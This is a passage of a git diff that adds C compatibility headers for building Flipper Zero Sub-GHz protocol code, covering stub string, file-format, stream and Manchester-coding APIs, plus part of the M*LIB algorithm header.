+    do {                                                                                                          \
+        if(!(x)) {                                                                                                \
+            return (retv);                                                                                        \
+        }                                                                                                         \
+    } while(0)
+
+#define furi_assert(x)                                                                                             \
+    do {                                                                                                          \
+        if(!(x)) {                                                                                                \
+            abort();                                                                                              \
+        }                                                                                                         \
+    } while(0)
+
+typedef struct FuriString FuriString;
+
+#define RECORD_STORAGE "storage"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+FuriString* furi_string_alloc(void);
+FuriString* furi_string_alloc_set(const char* cstr);
+void furi_string_free(FuriString* str);
+void furi_string_set(FuriString* str, const char* cstr);
+void furi_string_set_n(FuriString* out, const FuriString* in, size_t pos, size_t len);
+void furi_string_cat(FuriString* str, const char* cstr);
+void furi_string_cat_printf(FuriString* str, const char* fmt, ...);
+void furi_string_printf(FuriString* str, const char* fmt, ...);
+const char* furi_string_get_cstr(const FuriString* str);
+size_t furi_string_size(const FuriString* str);
+void furi_string_trim(FuriString* str);
+
+void furi_delay_ms(uint32_t ms);
+void furi_delay_tick(uint32_t ticks);
+void furi_crash_message(const char* message);
+float roundf(float x);
+
+void* furi_record_open(const char* record);
+void furi_record_close(const char* record);
+
+#ifdef __cplusplus
+}
+#endif
+
+#define furi_crash(...) furi_crash_message(NULL)
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/furi_hal.h b/lib/subghz_unleashed_compat/include/furi_hal.h
new file mode 100644
index 000000000..46211baaf
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/furi_hal.h
@@ -0,0 +1,16 @@
+#ifndef __SUBGHZ_COMPAT_FURI_HAL_H__
+#define __SUBGHZ_COMPAT_FURI_HAL_H__
+
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+int32_t furi_hal_subghz_get_rolling_counter_mult(void);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/furi_hal_rtc.h b/lib/subghz_unleashed_compat/include/furi_hal_rtc.h
new file mode 100644
index 000000000..2514cb52c
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/furi_hal_rtc.h
@@ -0,0 +1,16 @@
+#ifndef __SUBGHZ_COMPAT_FURI_HAL_RTC_H__
+#define __SUBGHZ_COMPAT_FURI_HAL_RTC_H__
+
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+uint32_t furi_hal_rtc_get_timestamp(void);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format.h b/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format.h
new file mode 100644
index 000000000..3ea6a373a
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format.h
@@ -0,0 +1,53 @@
+#ifndef __SUBGHZ_COMPAT_FLIPPER_FORMAT_H__
+#define __SUBGHZ_COMPAT_FLIPPER_FORMAT_H__
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+#include <furi.h>
+#include <storage/storage.h>
+#include <lib/toolbox/stream/stream.h>
+
+typedef struct FlipperFormat {
+    Stream* raw;
+} FlipperFormat;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+FlipperFormat* flipper_format_file_alloc(Storage* storage);
+void flipper_format_free(FlipperFormat* ff);
+bool flipper_format_file_open_existing(FlipperFormat* ff, const char* path);
+bool flipper_format_file_open_always(FlipperFormat* ff, const char* path);
+bool flipper_format_file_close(FlipperFormat* ff);
+
+bool flipper_format_read_header(FlipperFormat* ff, FuriString* filetype, uint32_t* version);
+bool flipper_format_write_header_cstr(FlipperFormat* ff, const char* type, uint32_t version);
+bool flipper_format_rewind(FlipperFormat* ff);
+
+bool flipper_format_read_uint32(FlipperFormat* ff, const char* key, uint32_t* out, size_t cnt);
+bool flipper_format_read_int32(FlipperFormat* ff, const char* key, int32_t* out, size_t cnt);
+bool flipper_format_read_bool(FlipperFormat* ff, const char* key, bool* out, size_t cnt);
+bool flipper_format_read_hex(FlipperFormat* ff, const char* key, uint8_t* out, size_t cnt);
+bool flipper_format_read_string(FlipperFormat* ff, const char* key, FuriString* out);
+
+bool flipper_format_write_uint32(FlipperFormat* ff, const char* key, const uint32_t* in, size_t cnt);
+bool flipper_format_write_int32(FlipperFormat* ff, const char* key, const int32_t* in, size_t cnt);
+bool flipper_format_write_hex(FlipperFormat* ff, const char* key, const uint8_t* in, size_t cnt);
+bool flipper_format_write_string_cstr(FlipperFormat* ff, const char* key, const char* in);
+
+bool flipper_format_update_uint32(FlipperFormat* ff, const char* key, const uint32_t* in, size_t cnt);
+bool flipper_format_insert_or_update_uint32(FlipperFormat* ff, const char* key, const uint32_t* in, size_t cnt);
+bool flipper_format_update_hex(FlipperFormat* ff, const char* key, const uint8_t* in, size_t cnt);
+bool flipper_format_insert_or_update_hex(FlipperFormat* ff, const char* key, const uint8_t* in, size_t cnt);
+bool flipper_format_update_string_cstr(FlipperFormat* ff, const char* key, const char* in);
+
+Stream* flipper_format_get_raw_stream(FlipperFormat* ff);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format_i.h b/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format_i.h
new file mode 100644
index 000000000..828b4d24f
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format_i.h
@@ -0,0 +1 @@
+#include <lib/flipper_format/flipper_format.h>
diff --git a/lib/subghz_unleashed_compat/include/lib/toolbox/level_duration.h b/lib/subghz_unleashed_compat/include/lib/toolbox/level_duration.h
new file mode 100644
index 000000000..d707ccb2f
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/lib/toolbox/level_duration.h
@@ -0,0 +1,34 @@
+#ifndef __SUBGHZ_COMPAT_LEVEL_DURATION_H__
+#define __SUBGHZ_COMPAT_LEVEL_DURATION_H__
+
+#include <stdbool.h>
+#include <stdint.h>
+
+#define LEVEL_DURATION_RESET 0xFFFFFFFFu
+#define LEVEL_DURATION_WAIT 0xFFFFFFFEu
+#define LEVEL_DURATION_LEVEL_LOW false
+#define LEVEL_DURATION_LEVEL_HIGH true
+
+typedef struct {
+    bool level;
+    uint32_t duration;
+} LevelDuration;
+
+static inline LevelDuration level_duration_make(bool level, uint32_t duration) {
+    LevelDuration ld = {.level = level, .duration = duration};
+    return ld;
+}
+
+static inline LevelDuration level_duration_reset(void) {
+    LevelDuration ld = {.level = false, .duration = LEVEL_DURATION_RESET};
+    return ld;
+}
+
+static inline LevelDuration level_duration_wait(void) {
+    LevelDuration ld = {.level = false, .duration = LEVEL_DURATION_WAIT};
+    return ld;
+}
+
+static inline bool level_duration_get_level(LevelDuration ld) { return ld.level; }
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/lib/toolbox/manchester_decoder.h b/lib/subghz_unleashed_compat/include/lib/toolbox/manchester_decoder.h
new file mode 100644
index 000000000..fb110aaec
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/lib/toolbox/manchester_decoder.h
@@ -0,0 +1,35 @@
+#ifndef __SUBGHZ_COMPAT_MANCHESTER_DECODER_H__
+#define __SUBGHZ_COMPAT_MANCHESTER_DECODER_H__
+
+#include <stdbool.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef enum {
+    ManchesterEventShortLow = 0,
+    ManchesterEventShortHigh = 2,
+    ManchesterEventLongLow = 4,
+    ManchesterEventLongHigh = 6,
+    ManchesterEventReset = 8
+} ManchesterEvent;
+
+typedef enum {
+    ManchesterStateStart1 = 0,
+    ManchesterStateMid1 = 1,
+    ManchesterStateMid0 = 2,
+    ManchesterStateStart0 = 3
+} ManchesterState;
+
+bool manchester_advance(
+    ManchesterState state,
+    ManchesterEvent event,
+    ManchesterState* next_state,
+    bool* data);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/lib/toolbox/manchester_encoder.h b/lib/subghz_unleashed_compat/include/lib/toolbox/manchester_encoder.h
new file mode 100644
index 000000000..bc305f364
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/lib/toolbox/manchester_encoder.h
@@ -0,0 +1,36 @@
+#ifndef __SUBGHZ_COMPAT_MANCHESTER_ENCODER_H__
+#define __SUBGHZ_COMPAT_MANCHESTER_ENCODER_H__
+
+#include <stdbool.h>
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct {
+    bool prev_bit;
+    uint8_t step;
+} ManchesterEncoderState;
+
+typedef enum {
+    ManchesterEncoderResultShortLow = 0b00,
+    ManchesterEncoderResultLongLow = 0b01,
+    ManchesterEncoderResultLongHigh = 0b10,
+    ManchesterEncoderResultShortHigh = 0b11,
+} ManchesterEncoderResult;
+
+void manchester_encoder_reset(ManchesterEncoderState* state);
+
+bool manchester_encoder_advance(
+    ManchesterEncoderState* state,
+    const bool curr_bit,
+    ManchesterEncoderResult* result);
+
+ManchesterEncoderResult manchester_encoder_finish(ManchesterEncoderState* state);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/lib/toolbox/stream/stream.h b/lib/subghz_unleashed_compat/include/lib/toolbox/stream/stream.h
new file mode 100644
index 000000000..0d30b838d
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/lib/toolbox/stream/stream.h
@@ -0,0 +1,26 @@
+#ifndef __SUBGHZ_COMPAT_STREAM_H__
+#define __SUBGHZ_COMPAT_STREAM_H__
+
+#include <stddef.h>
+#include <stdbool.h>
+
+#ifdef __cplusplus
+class Stream;
+extern "C" {
+#else
+typedef struct Stream Stream;
+#endif
+
+size_t stream_size(Stream* s);
+size_t stream_tell(Stream* s);
+bool stream_seek(Stream* s, size_t offset, int origin);
+bool stream_read_line(Stream* s, struct FuriString* out);
+void stream_clean(Stream* s);
+void stream_write_cstring(Stream* s, const char* str);
+void stream_write_char(Stream* s, char c);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/m-algo.h b/lib/subghz_unleashed_compat/include/m-algo.h
new file mode 100644
index 000000000..6a23392ce
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/m-algo.h
@@ -0,0 +1,1240 @@
+/*
+ * M*LIB - ALGO module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_ALGO_H
+#define MSTARLIB_ALGO_H
+
+#include "m-core.h"
+
+/* Define different kind of basic algorithms named 'name' over the container
+   which oplist is 'cont_oplist'.
+   USAGE:
+   ALGO_DEF(algogName, containerOplist|type if oplist has been registered) */
+#define M_ALGO_DEF(name, cont_oplist)                                         \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_ALG0_DEF_P1(name, M_GLOBAL_OPLIST(cont_oplist))                           \
+  M_END_PROTECTED_CODE
+
+
+/* Map a function (or a macro) to all elements of a container.
+   USAGE:
+   ALGO_FOR_EACH(container, containerOplist|type_if_registered_oplist, function[, extra arguments of function]) */
+#define M_ALGO_FOR_EACH(container, cont_oplist, ...)                          \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_ALG0_FOR_EACH, M_ALG0_FOR_EACH_ARG)                                      \
+  (container, M_GLOBAL_OPLIST(cont_oplist), __VA_ARGS__)
+
+
+/* Map a function (or a macro) to all elements of a container
+   and store it into another container.
+   USAGE:
+   ALGO_TRANSFORM(contDst, contDOplist|type_if_registered_oplist, contSrc, contSrcOplist|type_if_registered_oplist,
+                  function[, extra arguments of function]) */
+#define M_ALGO_TRANSFORM(contD, contDop, contS, contSop, ...)                 \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_ALG0_TRANSFORM, M_ALG0_TRANSFORM_ARG)                                    \
+  (contD, M_GLOBAL_OPLIST(contDop), contS, M_GLOBAL_OPLIST(contSop), __VA_ARGS__)
+
+
+/* Extract a subset of a container to copy into another container.
+   USAGE:
+   ALGO_EXTRACT(contDst, contDstOplist|type_if_registered_oplist, contSrc, contSrcOplist|type_if_registered_oplist
+               [, function [, extra arguments of function]])  */
+#define M_ALGO_EXTRACT(contD, contDop, contS, ...)                            \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_ALG0_EXTRACT,                                                            \
+   M_IF_NARGS_EQ2(__VA_ARGS__)(M_ALG0_EXTRACT_FUNC, M_ALG0_EXTRACT_ARG))      \
+  (contD, contDop, contS,  __VA_ARGS__)
+
+
+/* Perform a Reduce operation over a container.
+   USAGE:
+   ALGO_REDUCE(dstVar, container, contOplist|type_if_registered_oplist, reduceFunc
+               [, mapFunc[, extraParameters of map function]])
+   or
+   ALGO_REDUCE( (dstVar, dstOplist|type_if_registered_oplist), container, contOplist|type_if_registered_oplist, reduceFunc
+               [, mapFunc[, extraParameters of map function]])
+  if the destination variable is not of the same type than the elements of the containers.
+*/
+#define M_ALGO_REDUCE(dest, cont, contOp, ...)                                \
+  M_IF(M_PARENTHESIS_P(dest))                                                 \
+  (M_ALG0_REDUCE_DISPATCH(M_PAIR_1 dest, M_GLOBAL_OPLIST(M_PAIR_2 dest), M_GLOBAL_TYPE(M_PAIR_2 dest),cont, M_GLOBAL_OPLIST(contOp), __VA_ARGS__), \
+   M_ALG0_REDUCE_DISPATCH(dest, M_GET_OPLIST M_GLOBAL_OPLIST(contOp), M_GET_SUBTYPE M_GLOBAL_OPLIST(contOp), cont, contOp, __VA_ARGS__)) \
+    
+
+/* Insert into the container 'contDst' at position 'position' all the values
+   of container 'contSrc'.
+   USAGE:
+   ALGO_INSERT_AT(containerDst, containerDstOPLIST|type_if_registered_oplist, containerDstIterator, containerSrc, containerSrcOPLIST|type_if_registered_oplist)
+ */
+#define M_ALGO_INSERT_AT(contDst, contDstOp, position, contSrc, contSrcOp)    \
+  M_ALG0_INSERT_AT(contDst, M_GLOBAL_OPLIST(contDstOp), position, contSrc, M_GLOBAL_OPLIST(contSrcOp) )
+
+
+/*****************************************************************************/
+/******************************** INTERNAL ***********************************/
+/*****************************************************************************/
+
+/* Try to expand the algorithms */
+#define M_ALG0_DEF_P1(name, cont_oplist)                                      \
+  M_ALG0_DEF_P2(name, M_GET_TYPE cont_oplist, cont_oplist,                    \
+               M_GET_SUBTYPE cont_oplist, M_GET_OPLIST cont_oplist,           \
+               M_GET_IT_TYPE cont_oplist)
+
+/* First validate the first oplist */
+#define M_ALG0_DEF_P2(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_IF_OPLIST(cont_oplist)(M_ALG0_DEF_P3, M_ALG0_DEF_FAILURE)(name, container_t, cont_oplist, type_t, type_oplist, it_t)
+
+/* Then validate the second oplist */
+#define M_ALG0_DEF_P3(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_IF_OPLIST(type_oplist)(M_ALG0_DEF_P4, M_ALG0_DEF_FAILURE)(name, container_t, cont_oplist, type_t, type_oplist, it_t)
+
+/* Stop processing with a compilation failure if an oplist was invalid */
+#define M_ALG0_DEF_FAILURE(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(ALGO_DEF): one of the given argument is not a valid oplist: " M_AS_STR(cont_oplist) " / " M_AS_STR(type_oplist) )
+
+
+/* Expand all algorithms */
+#define M_ALG0_DEF_P4(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_CHECK_COMPATIBLE_OPLIST(name, 10, container_t, cont_oplist)               \
+  M_CHECK_COMPATIBLE_OPLIST(name, 11, type_t, type_oplist)                    \
+                                                                              \
+  M_ALG0_DEF_CALLBACK(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_IF_FUNCOBJ(M_ALG0_DEF_FUNCOBJ(name, container_t, cont_oplist, type_t, type_oplist, it_t)) \
+                                                                              \
+  M_IF_METHOD(EQUAL, type_oplist)(                                            \
+  M_ALG0_DEF_FIND(name, container_t, cont_oplist, type_t, type_oplist, it_t)  \
+  , /* NO EQUAL */)                                                           \
+                                                                              \
+  M_ALG0_DEF_FIND_IF(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                     if, M_F(name,_test_cb_ct), M_F(name,_eq_cb_ct), M_APPLY, M_APPLY) \
+  M_IF_FUNCOBJ(M_ALG0_DEF_FIND_IF(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                                  fo, M_F(name,_test_obj_t), M_F(name,_eq_obj_t), M_F(name, _test_obj_call), M_F(name, _eq_obj_call))) \
+                                                                              \
+  M_ALG0_DEF_MAP(name, container_t, cont_oplist, type_t, type_oplist, it_t)   \
+                                                                              \
+  M_ALG0_DEF_ALL_OF(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                    _, M_F(name,_test_cb_ct), M_APPLY)                        \
+  M_IF_FUNCOBJ(M_ALG0_DEF_ALL_OF(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                                 _fo_, M_F(name,_test_obj_t), M_F(name,_test_obj_call)) ) \
+                                                                              \
+  /* If there is a IT_REF method, we consider the container as modifiable through iterator */ \
+  M_IF_METHOD(IT_REF, cont_oplist)(                                           \
+  M_ALG0_DEF_FILL(name, container_t, cont_oplist, type_t, type_oplist, it_t)  \
+  M_ALG0_DEF_VECTOR(name, container_t, cont_oplist, type_t, type_oplist, it_t)\
+                                                                              \
+  M_IF_METHOD(CMP, type_oplist)(                                              \
+  M_ALG0_DEF_MINMAX(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_ALG0_DEF_SORT(name, container_t, cont_oplist, type_t, type_oplist, it_t, +, _sort) \
+  M_ALG0_DEF_SORT(name, container_t, cont_oplist, type_t, type_oplist, it_t, -, _sort_dsc) \
+  M_IF_METHOD(IT_REMOVE, cont_oplist)(                                        \
+  M_ALG0_DEF_REMOVE(name, container_t, cont_oplist, type_t, type_oplist, it_t)\
+  , /* No IT_REMOVE method */)                                                \
+  , /* No CMP method */)                                                      \
+                                                                              \
+  M_IF_FUNCOBJ(M_ALG0_DEF_SORT_AUX(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                                  _sort_fo, M_ALG0_SORT_CALL_OBJ_P4, M_ALG0_SORT_PARAM_OBJ_P4, M_ALG0_SORT_ARG_OBJ_P4) ) \
+  , /* No IT_REF method */)                                                   \
+                                                                              \
+  M_IF_METHOD(EXT_ALGO, type_oplist)(                                         \
+  M_GET_EXT_ALGO type_oplist (name, cont_oplist, type_oplist)                 \
+  , /* No EXT_ALGO method */ )                                                \
+
+
+/* Define the types of the callbacks associated to the algorithms.
+ * Types remain internal */
+#define M_ALG0_DEF_CALLBACK(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  typedef bool (*M_F(name, _test_cb_ct))(type_t const);                       \
+  typedef bool (*M_F(name, _eq_cb_ct))(type_t const, type_t const);           \
+  typedef int  (*M_F(name, _cmp_cb_ct))(type_t const, type_t const);          \
+  typedef bool (*M_F(name, _transform_cb_ct))(type_t *, type_t const, void*); \
+  typedef void (*M_F(name, _reduce_cb_ct))(type_t *, type_t const);           \
+  typedef void (*M_F(name, _apply_cb_ct))(type_t M_IF_METHOD(IT_REF, cont_oplist)( , const)  );
+
+
+/* Define the function objects associated to the algorithms.
+ * Created Function objects are part of the public interface */
+#define M_ALG0_DEF_FUNCOBJ(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _test_obj), bool, type_t const)                \
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _eq_obj), bool, type_t const, type_t const )   \
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _cmp_obj), int, type_t const, type_t const )   \
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _transform_obj), bool, type_t *, type_t const )\
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _apply_obj), void, type_t * )                  \
+  
+
+/* Define the sort functions with the CMP operator using the order selected */
+#define M_ALG0_DEF_SORT(name, container_t, cont_oplist, type_t, type_oplist, it_t, order, sort_name) \
+                                                                              \
+  /* Define the encapsulation function that perform the selected order */     \
+  M_INLINE int M_C3(name,sort_name,_cmp)(type_t const*a,type_t const*b)       \
+  {                                                                           \
+    return order M_CALL_CMP(type_oplist, *a, *b);                             \
+  }                                                                           \
+                                                                              \
+  M_ALG0_DEF_SORT_AUX(name, container_t, cont_oplist, type_t, type_oplist, it_t, sort_name, M_ALG0_SORT_CALL_CMP_P4, M_EAT, /*empty*/ )
+
+// Call the comparaison function of the type oplist (Using CMP operator)
+#define M_ALG0_SORT_CALL_CMP_P4(name, sort_name, ref1, ref2)                  \
+  M_C3(name, sort_name,_cmp)(ref1, ref2)
+
+
+// Call the created function object
+#define M_ALG0_SORT_CALL_OBJ_P4(name, sort_name, ref1, ref2)                  \
+  M_F(name, _cmp_obj_call)(funcobj, *ref1, *ref2)
+// Adding a parameter named 'funcobj' to the algorithm functions
+#define M_ALG0_SORT_PARAM_OBJ_P4(name) M_DEFERRED_COMMA M_F(name, _cmp_obj_t) funcobj
+#define M_ALG0_SORT_ARG_OBJ_P4 M_DEFERRED_COMMA funcobj
+
+
+/* Define the sort funtions using either the CMP operator or a function object
+  - name: prefix of algorithms
+  - container_t: type of the container
+  - cont_oplist: oplist of the container
+  - type_t: type of the data within the container
+  - type_oplist: oplist of such type
+  - it_t: type of the iterator of the container
+  - sort_name: suffix used for creating the sort functions
+  - cmp_func: macro to call to get the CMP order
+  - cmp_param: macro to use to generate an extra argument for the function (needed for function object).
+  It is needed to add another argument to the function.
+  - cmp_arg: Name of such argument.
+ */
+#define M_ALG0_DEF_SORT_AUX(name, container_t, cont_oplist, type_t, type_oplist, it_t, sort_name, cmp_func, cmp_param, cmp_arg) \
+                                                                              \
+  /* Test if the container is sorted */                                       \
+  M_INLINE bool                                                               \
+  M_C3(name,sort_name,_p)(const container_t l cmp_param(name))                \
+  {                                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    /* Linear comparaison of TAB[N] & TAB[N+1] to test if the order is correct */ \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    M_CALL_IT_SET(cont_oplist, it2, it1);                                     \
+    M_CALL_IT_NEXT(cont_oplist, it2);                                         \
+    while (!M_CALL_IT_END_P(cont_oplist, it2)) {                              \
+      type_t const *ref1 = M_CALL_IT_CREF(cont_oplist, it1);                  \
+      type_t const *ref2 = M_CALL_IT_CREF(cont_oplist, it2);                  \
+      if (!(cmp_func(name, sort_name, ref1, ref2) <= 0)) {                    \
+        return false;                                                         \
+      }                                                                       \
+      M_CALL_IT_SET(cont_oplist, it1, it2);                                   \
+      M_CALL_IT_NEXT(cont_oplist, it2);                                       \
+    }                                                                         \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  /* Sort function. It can be generated from 3 algorithms: */                 \
+  /*  - a specialized version defined by the container */                     \
+  /*  - an unstable merge sort (need 'splice_back' method) */                 \
+  /*  - an insertion sort (need 'previous' method) */                         \
+  /*  - a selection sort */                                                   \
+  M_IF(M_AND(M_TEST_METHOD_P(SORT, cont_oplist), M_EMPTY_P(cmp_arg)))(        \
+    /******** OPTIMIZED SORT FOR CONTAINER *********/                         \
+  M_INLINE void M_F(name,sort_name)(container_t l)                            \
+  {                                                                           \
+    M_CALL_SORT(cont_oplist, l, M_C3(name, sort_name,_cmp));                  \
+  }                                                                           \
+  ,                                                                           \
+                                                                              \
+  M_IF_METHOD2(SPLICE_BACK, SPLICE_AT, cont_oplist)(                          \
+  /******** MERGE SORT (unstable) ********/                                   \
+  /* NOTE: Only reasonable for lists (To move in m-list.h ?) */               \
+                                                                              \
+  /* Split the container 'l' into near even size l1 and l2 *                  \
+     using odd/even splitting  */                                             \
+  M_INLINE void                                                               \
+  M_C3(name,sort_name,_split)(container_t l1, container_t l2, container_t l)  \
+  {                                                                           \
+    it_t it;                                                                  \
+    bool b = false;                                                           \
+    /* Split 'l' into 'l1' and 'l2' */                                        \
+    for (M_CALL_IT_FIRST(cont_oplist,it, l);                                  \
+         !M_CALL_IT_END_P(cont_oplist, it);) {                                \
+      M_CALL_SPLICE_BACK(cont_oplist, (b ? l1 : l2), l, it);                  \
+      b = !b;                                                                 \
+    }                                                                         \
+    M_ASSERT(M_CALL_EMPTY_P (cont_oplist, l));                                \
+  }                                                                           \
+                                                                              \
+  /* Merge in empty 'l' the sorted container 'l1' and 'l2' */                 \
+  M_INLINE void                                                               \
+  M_C3(name,sort_name,_merge)(container_t l, container_t l1, container_t l2 cmp_param(name)) \
+  {                                                                           \
+    M_ASSERT(M_CALL_EMPTY_P (cont_oplist, l));                                \
+    it_t it;                                                                  \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    M_CALL_IT_END(cont_oplist, it, l);                                        \
+    M_CALL_IT_FIRST(cont_oplist,it1, l1);                                     \
+    M_CALL_IT_FIRST(cont_oplist,it2, l2);                                     \
+    while (true) {                                                            \
+      /* Compare current elements of the containers l1 and l2 */              \
+      int c = cmp_func(name, sort_name, M_CALL_IT_CREF(cont_oplist, it1),     \
+           M_CALL_IT_CREF(cont_oplist, it2));                                 \
+      if (c <= 0) {                                                           \
+        /* Move the element of l1 in the new container */                     \
+        M_CALL_SPLICE_AT(cont_oplist, l, it, l1, it1);                        \
+        if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it1))) {                 \
+          /* Move all remaining elements of l2 in 'l' */                      \
+          while (!M_CALL_IT_END_P(cont_oplist, it2)) {                        \
+            M_CALL_SPLICE_AT(cont_oplist, l, it, l2, it2);                    \
+          }                                                                   \
+          return;                                                             \
+        }                                                                     \
+      } else {                                                                \
+        /* Move the element of l2 in the new container */                     \
+        M_CALL_SPLICE_AT(cont_oplist, l, it, l2, it2);                        \
+        if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it2))) {                 \
+          /* Move all remaining elements of l1 in 'l' */                      \
+          while (!M_CALL_IT_END_P(cont_oplist, it1)) {                        \
+            M_CALL_SPLICE_AT(cont_oplist, l, it, l1, it1);                    \
+          }                                                                   \
+          return;                                                             \
+        }                                                                     \
+      }                                                                       \
+    }                                                                         \
+    /* Cannot occur */                                                        \
+  }                                                                           \
+                                                                              \
+  /* Sort the container 'l' */                                                \
+  M_INLINE void                                                               \
+  M_F(name,sort_name)(container_t l cmp_param(name))                          \
+  {                                                                           \
+    container_t l1;                                                           \
+    container_t l2;                                                           \
+    it_t it;                                                                  \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    /* First deal with 0, 1, or 2 size container */                           \
+    M_CALL_IT_FIRST(cont_oplist, it, l);                                      \
+    if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it)))                        \
+      return;                                                                 \
+    M_CALL_IT_SET(cont_oplist, it1, it);                                      \
+    M_CALL_IT_NEXT(cont_oplist, it);                                          \
+    if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it)))                        \
+      return;                                                                 \
+    M_CALL_IT_SET(cont_oplist, it2, it);                                      \
+    M_CALL_IT_NEXT(cont_oplist, it);                                          \
+    if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it))) {                      \
+      /* Two elements */                                                      \
+      int c = cmp_func(name, sort_name,                                       \
+           M_CALL_IT_CREF(cont_oplist, it1),                                  \
+           M_CALL_IT_CREF(cont_oplist, it2));                                 \
+      if (c > 0) {                                                            \
+        /* SWAP */                                                            \
+        M_CALL_SPLICE_BACK(cont_oplist, l, l, it2);                           \
+      }                                                                       \
+      return;                                                                 \
+    }                                                                         \
+    /* Container length is greater than 2: split, sort & merge */             \
+    M_GLOBAL_CONTEXT();                                                       \
+    M_CALL_INIT(cont_oplist, l1);                                             \
+    M_CALL_INIT(cont_oplist, l2);                                             \
+    M_C3(name,sort_name,_split)(l1, l2, l);                                   \
+    M_F(name,sort_name)(l1 cmp_arg);                                          \
+    M_F(name,sort_name)(l2 cmp_arg);                                          \
+    M_C3(name,sort_name,_merge)(l, l1, l2 cmp_arg);                           \
+    /* l1 & l2 shall be empty now */                                          \
+    M_ASSERT( M_CALL_EMPTY_P(cont_oplist, l1));                               \
+    M_ASSERT( M_CALL_EMPTY_P(cont_oplist, l2));                               \
+    /* Normally nothing is done here */                                       \
